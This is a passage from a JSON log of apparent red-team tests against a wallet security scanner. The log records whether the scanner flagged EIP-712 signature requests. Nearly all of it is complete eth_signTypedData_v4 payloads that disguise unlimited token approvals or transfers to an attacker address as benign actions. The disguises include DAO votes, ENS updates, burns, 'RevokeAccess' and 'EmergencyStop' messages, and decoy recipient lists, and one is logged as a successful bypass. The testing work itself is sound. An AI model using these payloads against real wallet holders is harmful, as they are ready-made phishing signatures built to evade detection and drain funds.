"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:03:38.792Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:03:47.979Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:03:57.153Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:04:06.356Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:04:15.548Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:04:24.735Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:04:33.958Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:04:43.136Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:04:52.466Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:05:01.655Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:05:10.861Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:05:20.045Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:05:29.233Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN22-EIP3009-022", "timestamp": "2026-01-31T17:05:38.425Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x200d71edbd226149c349d05c2bfd9d127cf45e523cd6f7a150964a04820d4030\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN22-EIP3009-054", "timestamp": "2026-01-31T17:05:44.958Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x06e78ed1b7b0004311b4900f85217eec39a334e4a84930f199fa5898521ad48f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:05:54.578Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:06:03.754Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:06:12.958Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:06:22.152Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 